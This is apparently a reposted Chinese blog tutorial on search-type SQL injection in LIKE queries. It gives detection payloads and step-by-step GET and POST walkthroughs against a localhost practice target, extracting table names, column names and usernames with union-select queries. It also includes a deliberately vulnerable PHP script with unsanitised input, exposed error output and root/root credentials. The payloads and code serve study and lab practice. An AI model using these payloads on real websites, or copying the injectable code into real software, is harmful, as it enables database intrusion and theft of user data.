SQL注入——搜索型
SQL注入—搜索型搜索型注入—原理介绍
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;
其中又分为 POST/GET ,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get" 属性来区分是get还是post。搜索型注入又称为文本框注入。
https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145452466-444918648.png
一般后台搜索组合的SQL语句如下:
$sql = "select * from user where password like '%$pwd%' order by password";这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
ryan'and 1=1 and '%'='这样的话这句SQL语句就变成了这样:
$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";此时就存在SQL注入。
mysql模糊查询
like 匹配/模糊匹配,会与 % 和 _ 结合使用。
'%a' //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据
'_a_' //三位且中间字母是a的
'_a' //两位且结尾字母是a的
'a_' //两位且开头字母是a的查询以 java 字段开头的信息。
SELECT * FROM position WHERE name LIKE 'java%';查询包含 java 字段的信息。
SELECT * FROM position WHERE name LIKE '%java%';查询以 java 字段结尾的信息。
SELECT * FROM position WHERE name LIKE '%java';搜索型注入—注入判断
[*]搜索 keywords' ,如果出错的话,有90%的可能性存在注入;
[*]搜索 keywords%' and 1=1 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=1 )看返回情况;
[*]搜索 keywords%' and 1=2 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=2 )看返回情况;
[*]根据2和3的返回情况来判断是不是搜索型文本框注入了。
以下几种语句也都可以:
'and 1=1 and '%'='
%' and 1=1 --+'
%' and 1=1 and '%'='搜索型注入—GET型案例
[*]访问靶场
https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145519840-841845987.png
[*]输入正常关键字进行查询
http://localhost:8888/get.php?pwd=ryanhttps://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145550014-400052781.png
[*]加单引号进行尝试
http://localhost:8888/get.php?pwd=ryan'https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145609710-500967842.png
加单引号出现报错,报错中出现% 号,猜测可能为搜索型注入
[*]使用以下payload进行测试
http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'='
或者
http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145629149-1309031383.png
正常显示
[*]继续尝试以下payload
http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145650319-576715866.png
无内容显示
通过以上测试,证明存在SQL注入漏洞
[*]使用 order by 判断列数
http://localhost:8888/get.php?pwd=ryan%' order by 5 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145704799-51368520.png
order by 5时,报错
http://localhost:8888/get.php?pwd=ryan%' order by 4 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145726639-490943684.png
order by 4 时,正常显示
说明该数据表列数为4
[*]判断回显位
http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145745710-1239633045.png
[*]获取数据库名
http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145800623-1709905722.png
[*]获取表名
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145819715-1844935649.png
[*]获取列名
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145835031-821467041.png
[*]获取数据
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145852176-565551683.png
搜索型注入—POST型案例
<?php
header("Content-Type:text/html;charset=utf-8");
$id = $_POST['id'];
$conn = mysql_connect("127.0.0.1:8889","root","root");
if($conn){
echo "连接数据库成功!";
}
echo "<br>";
mysql_select_db('ryan',$conn);
$sql = "select * from user where id like '%$id%' order by id";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo "用户ID:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "用户密码:".$row['password']."<br>";
echo "用户邮箱:".$row['email']."<br>";
}else{
print_r(mysql_error());
}
mysql_close($conn);
echo "<hr>";
echo "你当前执行的sql语句为:"."<br>";
echo $sql;
?>
<form action="" method="POST">
id:<input name="id" type="text" /><br><br>
<input name="" type="submit" value="提交" />
</form>
[*]访问靶场
https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145915335-580119723.png
[*]正常查询id,使用burp抓包
https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145936465-955329704.png
[*]加单引号进行尝试
id=1'https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908145952758-768901053.png
出现报错,且报错中出现 % 号,猜测是搜索型注入
[*]使用以下payload进行测试
id=1%' and 1=1 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908150015361-1615066961.png
正常显示
id=1%' and 1=2 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908150028936-2024523708.png
无显示,判断存在注入
[*]使用order by 判断列数
id=1%' order by 5 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908150053142-271545597.png
id=1%' order by 4 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908150110694-1632044593.png
说明该表列数为4
[*]判断回显位
id=abc%' union select 1,2,3,4 --+https://img2023.cnblogs.com/blog/3164322/202309/3164322-20230908150126958-1549144068.png
其他操作跟以上GET型案例相同
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页:
[1]